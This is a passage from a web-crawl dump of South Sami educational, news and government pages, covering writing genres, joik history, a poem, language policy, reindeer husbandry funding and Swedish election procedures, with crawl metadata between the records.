vïjhteboelhke-tjaalegem våaroeminie åtnah, doh vïjhte boelhkh åejvie-kapihtelinie sjidtieh tjaalegisnie.\nGosse orre argumeenth jallh rïektesvoeth tjaalah mah argumeentide tjïelkestieh mejtie datne nuhtjh, sæjhta daerpies sjïdtedh nueliebijjie-baakoejgujmie fïerhtene åejvie-boelhkesne jallh åejvie-kapihtelisnie. Geehth nueliebijjie-baakoeh sisvegem boelhkesne feerhmieh. Bijjie-baakoeh edtjieh goh \"væjsaldahkh\" årrodh tjaalegisnie. Dah edtjieh dovne lohkijen ïedtjem feengkedh jïh viehkine årrodh geajnoem gaavnedh tjaalegen tjïrrh.\n- Kjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173091","date":"2019-04-24T11:16:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578640839.82\/warc\/CC-MAIN-20190424094510-20190424120510-00270.warc.gz","language":"sma","language_score":0.9999901056,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999901056289673}","num_words":230,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gustav Kappfjell lea daam diktem tjaaleme. Dikte lea gærjesne Gaaltije mij jaepien 1987 trygkesovvi.\nMaana-gaedtie\nMov maana-gaedtie dan seadtoes lij\nTjoevkes lij elmien jissie\nBiejjie goeki dan bijjene elmesne\nMov maana-gaedtien sijjiem biktieji\nBiejvieh lin moenjehth, glienjehtin elmiem\nIj lin naan balveh mah åvdem gaptjin\nMov maana-aajmoe haelehti dan vijriem\nalnadahki dubpelen, vaeriej duakan\nJaevrie lij dåedtjies guelieh tjievliedin\nMov eejhtegh jijtsh vaatoem jaevreste vaetiehtin\nduvvene jaevresne gurhtie aaj govli\njaevrien voerngesne aejviesti[1]\n- 1«Gaaltije». Kappfjell, Gustav. DAT o.s. 1987.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172396\/topic:1:182173\/topic:1:185454\/resource:1:169706","date":"2019-04-19T18:59:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527866.58\/warc\/CC-MAIN-20190419181127-20190419203127-00170.warc.gz","language":"sma","language_score":0.9999504089,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999504089355469}","num_words":77,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Oktegimse siebriedahke faahketji jorkese daelie\n– Gaskeviermie maahta joekoen hijven dïrreginie jïh vierhtine sjïdtedh mijjen gïelese, men hævvi lea jearohke guktie mijjieh jïjtjh disse ryöjredibie. Haesteme lea hævvi doh stööremes gïelh mijjen aarkebeajjan båetieh dejnie digitaale vearteninie, jïh joekoen maanaj aarkebeajjan. Tjoerebe barkedh guktie mijjen gïele evtiesåvva jïh sertiesåvva dan digitaale veartenasse, Camillas Kleemann-Andersen jeahta, lektovre Instituhtesne kultuvrese, gïelese jïh histovrijasse Nuuk universiteetesne Kruanalaantesne.\n–Tjoerebe ryöjredidh\nAadtjen guessine bööti Romsese jïh Saemien gïelekonferansese. Kalaallit Nunaaten kultuvre jïh gïele leah guhkiem vaarjelamme orreme, joekoen dejnie unnemes sijjine. Ånnetji ånnetji daanske gïele akte sïejhmebe gïele sjïdteme Kalaallit Nunaatisnie. Gellie digkiedimmieh sosijaale meedijinie leah daanske gïelesne. Daan biejjien jienebh guektiengïeleldh almetjh goh aarebi. Jalhts Andersen veanhta gellie aevhkieh gaskeviermine, dellie jeahta dah tjuerieh ryöjredidh jïh barkedh juktie gïelem vaarjelidh.\n– Jienebh mah leah guektiengïeleldh, men annje 30 % årroejijstie mah ajve kruanalaanten gïelem soptsestieh. Mijjieh vuejnebe gellie digkiedimmieh leah daanske gïelesne, men im læjhkan bïllh årrojh Kruanalaantesne sijhtieh vaenebem kruanalaanten gïelesne soptsestidh jïh tjaeledh. Mijjieh joekoen voerkes. Hævvi tjoerebe våårege årrodh dan åvteste jïjnje maahta sjugniehtovvedh aktede boelhkeste dan måbpan, jïh mijjen gïele akte joekoen onne gïele, Camillas Kleemann-Andersen jeahta.\nNetflix jïh Youtube saemiej aarkebiejjie\nNetflix, YouTube, sosijaale meedija jïh jeatjah faalenassh nedtesne leah guhkiem saemiej aarkebiejjie orreme. Facebookesne mijjieh daamtaj haestemem åadtjobe vielie saemien gïelesne tjaeledh, juktie doh jeanatjommes digkiedimmieh leah daaroen.\n– Manne vïenhtem saemien kultuvre lea naemhtie guktie lea, dan åvteste mijjieh ibie gåessie gænnah leah oktegimse orreme goh dah mah Kalaallit Nunaatisnie årroeh. Mijjieh iktesth daarpesjamme laavenjostedh, jïh jïjtjemem jienebelåhkoen gïelide jïh dej kultuvride sjïehtedidh. Naemhtie daate akte såarhts ræjhkoesvoete orreme, juktie mijjieh libie iktesth tjoereme lïeredh teknologijem nuhtjedh juktie dïhte edtja gaagnine mijjese årrodh, saemiedigkiepresidente Aili Keskitalo jeahta.\nKeskitalo jeahta dej leah jienebh aevhkieh goh saemieh gosse dah dan digitaale veartenen sïjse tjaengieh.\n– Dej leah seammaplieres bokstaavh goh jienebelåhkoen gïelh. Dah eah daarpesjh fontigujmie tjabredh goh mijjieh. Jienebelåhkoen gïelh leah mijjen saemien gïelh tsavtseme tïjje doekoe, jïh gosse gïelem måjhtele, dellie dah aavrehke orreme mah leah dan tjietjelen orreme goh leah. Daelie dah aaj aelkieh buerebe gaskeviermiem åadtjodh gaajhkide voenide jïh dïhte sæjhta maanaj jïh noeri gïelem tsevtsedh, guktie vihkeles dah daejrieh vihkeles ryöjredidh, Keskitalo juvnehte.\nAkte aevhkie dejtie mah leah Kalaallit Nunaatisnie, lea dah aaj maehtieh teknologijem nuhtjedh maam teknologeles gïelebyjrese Romsesne lea evtiedamme. Gïellatekno lea teknologijem sjïehtedamme tjåanghkan 30 aalkoealmetjegïelide.\n– Dïhte barkoe mij desnie dorjesåvva aaj jeatjah aalkoealmetjh maehtieh nuhtjedh. Manne joekoen garmeres dan åvteste mijjen teknologeles byjrese maahta viehkine årrodh mubpide aaj, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/samimag.no\/se\/node\/1186","date":"2019-04-26T08:00:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578762045.99\/warc\/CC-MAIN-20190426073513-20190426095513-00470.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":403,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nøørjen båatsoe Saemiej Rihkesaervien ( NBR) daelie båatsoelatjkoem tsiengelen 12.b. 2015\/2016 Laanteburrie- jih beabpmoedepartemeentese geelkestamme.\nJienebh beetnegh båatsose krïebpesjamme.\nNBRe sæjhta daam beetnehviehkiem jieniedidh. 126,05 milljovnh kråvnoeh. Dæjmatjistie 14,55 milljovnh kråvnoeh lissiehtamme.\nDan bijre edtjieh råårestalledh. Lohkh båatsoe latjkoem:https:\/\/www.regjeringen.no\/nb\/aktuelt\/forhandlingene-om-reindriftsavtalen-20152016\/id2358868\/\nØkologiske, ealamadtje jih nænnoes båatsoe-jieleme.\nDaate båatsoe latjkoe jih dåarjoe-øørnege edtja viehkine årrodh jih daam båaries båatsoe- jieleme vuekiem evtiedidh, NBR e jeahta. Ulmie lea jih eadtjohks laakan båetijen biejjieh åvteste barkedh.\nDuvtiebeetnegh edtja læssanidh.\nBåatsoe latjkoe sæjhta duvtie beetnegide daejtie båatsoe sijtede jieniedidh, guktie maehtieh barkedh jih nænnoes båatsoe -jielemem åadtjodh. Sijhtieh aaj dam dorjemasse- dårjemem lissiedidh, stuerebe maaksoe jis jienebem leekieh.\nBåatsoejielemen evtiedimmiefoente edtja læssanidh daan åvteste edtjieh båatsoen infrastruktuvrem bueriedidh jih eadtjaldehtedh daam noere boelvem jih båatsone barkedh. Desnie aaj båatsoe-låhkoe, eatnemereereme, dah daelvie gåatomes laantide Jillie-Finnmarhkesen vïhtesjidh, ov-juvre reereme, skaehtie båatsosne jih båatsoe jielemem Trollheimesne nænnoestidh.\nStaaten vaestiedasse tsiengelen 29.b. båata. Edtjieh daan bijre njoektjen .1. beajjan råårestalledh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.nrk.no\/sapmi\/jienebh-beetnegh-baatsoe-jielemasse-daerpies-1.12148048","date":"2019-04-22T11:04:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578551739.43\/warc\/CC-MAIN-20190422095521-20190422121521-00236.warc.gz","language":"sma","language_score":0.9999952316,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999995231628418}","num_words":146,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljememoenehtsen annjebodts tjaatsestimmieryökneme\nGaskevåhkoen veeljemebiejjien mænngan veeljememoenehtsh dejtie åvtelhbodti tjaatsestimmieh ryöknoeh mah veeljemesijjieh eah leah hïnneme åadtjodh veeljemebiejjesne.\nVeeljememoenehtse maahta aaj daejnie duarstan jåerhkedh jis ij gaskevåhkoen gaervies. Dïhte lea uvtemesth tjaatsestimmieh ålkoelaanteste jïh åvtelhbodti tjaatsestimmieh mah jeatjah tjïelteme vadteme veeljemebiejjien. Gosse veeljememoenehtsi ryöknemh riejries aaj dejtie tjaatsestimmide leeneståvrose buektieh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/info.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljememoenehtsen-annjebodts-tjaatsestimmieryokneme.html","date":"2019-04-23T16:28:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578605555.73\/warc\/CC-MAIN-20190423154842-20190423180842-00438.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":50,"character_repetition_ratio":0.147,"word_repetition_ratio":0.0,"special_characters_ratio":0.101,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah tjaalegem Joejkemen bïjre lohkedh maam Jaahkenelkien Aanna tjaaleme. Tjaalege gærjeste Don jïh daan bijre I, mij jaepien 1997 bæjhkoehti. Gærjesne kååserijh mejtie Aanna raadijovesne soptsesti.\nJoejkemen bïjre\nMijjieh åarjelsaemieh mih libie vïenhteme, ibie mijjieh vielie maehtieh åadtjodh lïeredh joejkedh. Mijjen aahkide, aajjide hov nihtiejin joejkedh. Jïh bårrode lin årroeminie, idtjin sahth gïen govledæjjesne tjarkedh joejkedh. Nimhtie mijjieh jïjnjesh geerve almetjh sjïdteme, jïh vïenhteme saemiej ij naan musihke jallh laavloe, ibie leah mejnie gænnah tjoejehtalleme jallh guktie gænnah svihtjeme jallh jårrestalleme. Daelie daejribie, ij leah dïhte guktie gænnah reaktoe.\nDoen nåhkeme våhkoegietjien saemieh Luvlietjåelmesne, Östersundesne, gaavnedin, mijjen båeries vueliejgujmie åahpenidh mejtie dïhte Sveerjeste laedtie, Tirénen Kaarle, daaroen: Karl Tirén, daan stoerreluhkiejaepien aalkovisnie Sveerjen-raedtien saemiej luvnie tjöönghki. Tirénen Kaarle lij ruevtiegeajnoetjåadtjoehtæjja, 1889:n raejeste luhkiegolme jaepieh Jïemhtesne, dan mænngan jis vïjhte jaepieh Gironisnie, dehtie raejeste vïjhte jaepieh Bovdenisnie, 1912:n raejeste båeries-baalhkan raajan 1934 jis Bergvïjhkesne, Heelsinglaantesne. Fïerhten jaepien 1910:n raejeste 1915:n raajan njieljie askh saemiej luvnie fïelestalli, dah vuelieh tjöönghki, tjaalehtji mah 1942 dan stoerre gærjese deadtasovvin maam teevehtjegïelesne gåhtjoeh LAPPISCHE VOLKSMUSIK, saemien jis SAEMIEN ÅÅLMEHMUSIHKE.\nDennie gærjesne soptseste guktie satne tjoeveri guhkiem vuertedh gosk hinni åahpenidh. Saemieh sïjhtin vihties båetedh daajrose mejtie rïektesh almetje lij, gïese meehtin tjarkadidh dam dovres aerpiem luejhtedh. Dïhte seammalaakan sjædta guktie skåaltesaemiejgujmie goh edtjin jïjtsh vaajesh tjaelemen luejhtedh. Idtjin dah gænnah sahth gïese tjarkedh luejhtedh. Jïh goh dïhte alma gie dïhte altemse dåastohte, altasasse jeahta: \"Aah dellie båatah! Manne joe guhkiem vuarteme\". Nimhtie skåaltesaemiej vaajesh minngiebidie boelvide aerpine sjïdtin. Rovnege daejredh guktie mijjide saemide leah jeatjh almetjh guhkede viehkine båateme mijjen aerpieh gorredidh.\nNimhtie dïhte Såevmeste, minngelen professore Eliel Lagercrantz, luhkiegööktejaepiej aalkovisnie bööti mijjen gïelem golteladti jïh tjaaledisti. Jïh seammalaakan njieljieluhkien aalkovisnie, Nöörjen, minngelen professore, Knut Bergsland, gie Röörosen saemiengïelem tjaelielisti aarebi goh gaarveni.\nBååstide Tirénen Kaarlen gåajkoe. Dïhte saemiej vueline joekoenlaakan dam jievkehtimmiem aajhtsi, daaroen: rytme. Jeatjh åålmehmusihkeååhpetjh leah dovne dan mænngan maahteme jiehtedh saemiej vuelie jeatjh almetji musihkeste saatnan joekehtahta. Mijjen åarjelsaemien musihkeaerpie lea Karl Tirénen gærjesne gaavnoes. Dah gïeh åådtjeme novtah jallh musihkemïerhkh lïeredh, dah maehtieh jïjtjh dehtie mijjen aerpiegaereste gåejstedh. Mijjieh jeatjebh, jïh mijjieh båarasåbpoeh libie masten gaajhkesh dagkerh, jeatjebh. Mijjide tjoeverieh mubpieh viehkiehtidh, dejtie vuelide tjoejehtidh guktie åadtjoejibie govledh guktie govloeh, jïh åadtjodh dabtedh guktie dobtoe. Mejtie \"vueliej nïlle lokngesibie\" vuj dobtibie sïjhtibie \"vueliej nïlle luajhtadidh\". Mejtie mih mijjieh aaj, guktie dïhte skoerhtje man bïjre Tiréne dennie jïjtse gærjesne soptseste, goh radijovnesne gåvla juejkieh, dle olkese sæjhta. Jïh goh olkese båata, dle bïjre jarkan barre goh vuejehten hajka håhta. Jïh Tiréne soptseste dan vuelien nomme \"Samla hjorden\", saemien: Haes vuejehth! Dïhte skoerhtje maaje ij lih enne bovtsh vuajneme gænnah.\nDaennie Nöörjen raedtesne limh aaj byöreme dagkerem seminaarem öörnedh. Vuejnedh mejtie ibie goh dam jis mænngan buektehth. Desnie jis byöribie åadtjodh govledh dej \"vïjhtetovni\" bïjre, mah muvhtine saemiej vueline gååvnesieh jïh dovne jeatjah aalkoealmetji musihkesne. Maahta desnie dam, ibie mijjieh guhth \"gaektsietovni\" gujmie bæjjasovveme ibie ov buektehth gosse edtjibie voejhkelidh joejkedh.\nLaavenjassh båeries joejke-teeksteseKjernestoff\nJoejken aarvoe åvtesne jïh daelieKjernestoff\nAerpievuekien maahtojne joejkedhKjernestoff\nJoejke daelieKjernestoff\nVuelie, vuolle, luohti jïh leuddKjernestoff\nLaavenjassh: Joejkemen bïjreKjernestoff\nLaavenjassh: Åvlavuelien råantjoehKjernestoff\nLaavenjasse: Joejkeme jealaKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/resource:1:190057","date":"2019-04-19T17:11:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00446.warc.gz","language":"sma","language_score":0.9999645948,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999645948410034}","num_words":505,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah båarasommes saemien aerpievuekien lidteratuvrh, mah tjaaleldh, leah joejke-teeksth. Joejke-teeksth leah saemiej jïh dej jielemi bïjre.\nJoejke\nSaemien aerpievuekesne joejke vihkeles sijjiem utni jïh åtna. Joejke ektievoetem skaepede guktie fïere guhte sov identiteetem damta fuelhkesne jïh siebriedahkesne. Joejke lij aaj vihkeles saemien aerpievuekien jaahkosne. Joejke dovne dovletje jïh daaletje bïevnesh saemien siebriedahken bïjre vadta. Dah båarasommes saemien tjaalegh leah joejke-teeksth.\nOlaus Sirma\nOlaus Sirma (medtie 1650-1719) lij saemien hearra-learohke. Dïhte göökte joejkh tjeeli, maam govleme, jïh dle daejtie professorese Johannes Schefferus vedti. Schefferus jaepien 1673 gærjam latijne-gïelesne bæjhkoehti. Gærja, Lapponia, lij saemiej bïjre jïh gærjesne joejke-teeksth Måersie faavroe jïh Guldnasas maam Olaus Sirma tjaaleme. Joejkh leah gieriesvoeten bïjre, guktie ålma sov nïejtem ohtsele jïh guktie ussjede edtja nïejten gåajkoe vuelkedh råantjojne.\nJakob Fellmann\nJakob Fellmann lij såevmien hearra gie Utsjokesne barki 1820-låhkosne. Dïhte gellie joejkh govli jïh tjeeli. Akte daejstie lea Soelege jih nåejtie. Soelege jïh nåejtie molsestallijægan maam akt jiehtedh. Soelege lea saemiej eatnamasse båateme jïh joejken mietie åadtjobe lohkedh guktie dah guaktah digkiedægan. Minngie-gietjesne nåejtie jeahta soelege faamoem åtna jïh jååhkesje: «Årroeh daelie åejvie, Soelege, datne muerjide, gierkide, kraeside hierrine sjïdteme...» jïh soelege vaestede «Datne dåssjenh, nåejtie».[1]\n- 1«Åvtese jåhta, åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien». Kappfjell, Lena Gaski, Harald. DAT o.s. 2005.\nLaavenjassh båeries joejke-teeksteseKjernestoff\nJoejken aarvoe åvtesne jïh daelieKjernestoff\nAerpievuekien maahtojne joejkedhKjernestoff\nJoejke daelieKjernestoff\nVuelie, vuolle, luohti jïh leuddKjernestoff\nLaavenjassh: Joejkemen bïjreKjernestoff\nLaavenjassh: Åvlavuelien råantjoehKjernestoff\nLaavenjasse: Joejkeme jealaKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/resource:1:186582","date":"2019-04-22T15:20:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00324.warc.gz","language":"sma","language_score":0.9999588728,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999958872795105}","num_words":227,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Muvhth almetjh eah maamkh gan govlh. Dagkeres almetje lea bieljehts. Dan lea gïele mejnie goerkesovvedh jalhts ij maam soptsesth.\nTjaatse-gïele\nBieljehts almetje gïetigujmie soptseste. Gïele lea tjaatse-gïele. Dam gïelem aalkovistie lïereme mejnie goerkesadtedh. Hijven jis fïere guhte tjaatse-gïelem lïereme. Dellie buektiehtamme guarkadidh dagkeri almetji gujmie gïeh eah govlh.\nAmmes-gïele\nAmmes-gïele lea gïele man jeatjah tsiehkie dovne byjreskisnie jïh siebriedahkesne jïh dam ij daarpesjh fïerhten biejjien soptsestidh. Ammes-gïelem maahta govledh meedijisnie, vg TV:sne jïh radiosne jïh ij leah dïsse viedtelh seammalaakan goh voestes- jïh nubpien-gïelese.\nDagkeres gïele lea Englaanten gïele, teevetje-gïele jeatjah saemien-gïele jnv. Jalhts Englaanten gïelem gåvla dellie ij leah sïejhme dam soptsestidh byjreskisnie jallh siebriedahkesne. Nimhtie dam ammes-gieline gåhtjoeh. Ammes-gïelem gujht aelhkebe lïeredh jis ietnien-gïelem hijven maahta.[1]\nBaakoeh\nSaemien\nDaaroen\ntjaatse-gïele\ntegnspråk\nteevetje-gïele\ntysk\n- 1«Gïele lea faamoe». Maren Palismaa. Davvi Girji. 2006.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:176760","date":"2019-04-25T22:43:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00082.warc.gz","language":"sma","language_score":0.9999858141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999858140945435}","num_words":133,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate låhkede aejkien, Nordlaanten Fylhkeålma daam åarjelsaemien øøhpehtimmie konferaansem øørneminie. Daate sjædta Tråantesne, Scandic Nidelven hotellesne goevten 29.b.- njoektjen 2 .b.\nDaate vihkeles tjånghkoesijjie gaavnjesjidh, daejtie øøhpetimmie almetjidie mij smaave jih sturebe maanide øøhpehtieh. Nordlaanten Fylhkeålman øøhpehtimmie raeriestæjja, Wiveca Wilhelmsen-Holm bievnede.\n– Almetjh bååstide bievneme, tuhtjieh daate vihkeles tjåanghkoesijjieh. Åarjelsaemien dajve stoerre jih dellie daerpies akten aejkien jaepesne tjåanghkanidh jih hijven tjåanghkoe programmem faaledh, guktie stuerebe faage maahtoem åadtjoeh. Wilhelmsen-Holme jeahta.\nNordlaanten fylhkenålman dïedte.\nNordlaanten fylhkenålma dïedtem åtna, åarjel jih juvlev saemien øøhpetimmiem faaledh. Darjomesojkesjem dåeriedidh, guktie åarjel jih juvlev saemien gielem jih kultuvrem nænnoestidh.\nÅssjelh daejnie konferaansene lea jih bievnedidh magkeres dåeries moerh jih guktie maehtieh åarjelsaemien øøhpetimmine, maanagïertine,skuvline, jolleskuvle\/ universiteetinie barkedh jih raarastalleme guktie åarjelsaemien øøhpetimmiem nænnoestidh jih evtiedidh.\n- Lohkh aaj: Åarjelsaemien gïeleøøhpehtimmie\nBåetije aejkien barkoe\nDaate edtja guvviem vuesiehtidh, magkeres barkoem maanagierth jih skuvlh darjoeh.\n– Daelie heevehtimmiejaepie jih øøhpetimmiekonferaansen voestes aamhtese lea: Mij lea dah minngemes luhkie jaepieh heannadamme jih guktie edtjebe båetije biejjien barkedh, Wilhelmsen- Holme, jeahta.\nØhpetimmie almetjidie\nDaate konferaanse lea tjïelte jih fylhketjiltijde jih skuvleåajvaladtjide, øøhpetimmiemyndigheth, øøhpetimmiejarngide, maanagïertebarkijde,lohketæjjide, jih jollebe øøhpetimmieinstitusjovnide jih jeatja saemien øøhpetimmiealmetjidie.\nDaan tjåanghkose jijnjesh båetieh, jih øøhpetimmie aamhtsi bijre goltelidh jih raarastalledh.\n– Mijjieh geerjene! Jïjnjesh båetieh, daan mearan bijjelen stoerre luhkien almetjh edtjieh båetedh, Wilhelmsen Holme jeahta.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.nrk.no\/sapmi\/vihkeles-oohpehtimmie-tjaanghkoe-1.12796865","date":"2019-04-20T19:39:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578529962.12\/warc\/CC-MAIN-20190420180854-20190420202854-00294.warc.gz","language":"sma","language_score":0.9999761581,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999761581420898}","num_words":205,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klååkeme\nDïhte gie meala fiejlh jallh yöjtede dorjeme mij veeljemeilledahkem dijpi maahta veeljemeilledahkem klååkedh.\nEdtja klååkemem Veeljemereeremasse seedtedh. Klååkeme edtja luhkie biejjine veeljemeilledahken mænngan bæjhkoehtamme åejvieladtjide mij moenemem moeneme.\nVeeljemepryövememoenehtse maahta jiehtedh veeljeme luhpehts jïh stillie edtja ikth vielie veeljedh sjïere veeljemisnie jallh sjïere veeljemegievlesne jis fiejlh leah dorjesovveme mejtie aervede tsevtsiehtimmiem åtneme veeljemen illedahkese. Jis maahta fiejliem staeriedidh orre tjaatsestimmieryöknemen tjïrrh jallh jeatjah unnebe barkoen mietie maahta Veeljemepryövememoenehtse stillie åejvieladtjem mij sjæjsjali fiejliem staeriedidh.\nVeeljemepryövememoenehtse lea eejnegen sijjie gusnie maahta veeljemem klååkedh.\nVeeljemepryövememoenehtsen moenemem ij maehtieh klååkedh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/info.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/klaakeme.html","date":"2019-04-19T19:12:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527866.58\/warc\/CC-MAIN-20190419181127-20190419203127-00094.warc.gz","language":"sma","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9999902248382568}","num_words":88,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aerpie-vuekien mietie lohkije-tjaalegh iktesth trygkeme plaerine jïh våhkoe-plaerine gååvnesamme. Daan biejjien dejtie gaavnebe aaj digitaale medijumine. Mijjieh maehtebe meatan årrodh digkiedidh, maehtebe tjaalegh jïjtje tjaeledh jallh lahtestidh maam mubpieh leah tjaaleme.\nGellie-såarhts tjaalegh\nDoh jeanatjommes lohkije-tjaalegh leah digkiedimmie-lahtesh, amma åenehks argumentereles tjaalegh aktine tjïelke veanhtojne, man åssjele lea lohkijem jaehkiehtidh. Men maehtebe aaj tjaalegh tjaeledh mah uvtemes edtjieh bievnedh:\nVuesiehtimmien gaavhtan, Saemien Sijte maahta bievnedh akten prosjekten bïjre, jallh akte privaate almetje maahta akten konserten bïjre tjaeledh mesnie satne orreme.\nAjve akten aamhtesen bïjre\nIj leah naan byjjes njoelkedassh guktie akte lohkije-tjaalege edtja vååjnedh, men jis sïjhth gellie lohkijh jaksedh, dellie dov tjaalege byöroe aktelaaketje årrodh. Tjaelieh dan åvteste åenehks jïh tjyölkehke, jïh ajve akten aamhtesen bïjre.\nAktene lohkije-tjaalegisnie datne dov persovneles vuajnojne båatah, desnie dov åssjaldahkh jïh domtesh tjaalah. Dov lea luhpie aatide ånnetji gïeregen nïlle bïejedh, jïh maahtah maaje ånnetji striengkies årrodh jis tuhtjh daerpies. Ih byörh almetjh håasedh, jïh tjoerh ajve rïektesem tjaeledh.\nNuhtjh gïeleviehkie-dïrregh\nAkte tjaalege nedtesne jallh paehpere-plaeresne tjuara lohkijen tsåatskelesvoeten bïjre gaahtjedh jïjnjh jeatjah tjaalegigujmie. Dan åvteste vihkeles datne buektehth lohkijen ïedtjem feengkedh guktie sæjhta dam lohkedh. Nuhtjh gïelem juktie domtesh gåaskodh, jïh tjaelieh naemhtie guktie lohkije datnem, tjaelijem laajhta.\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\n- Kjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh 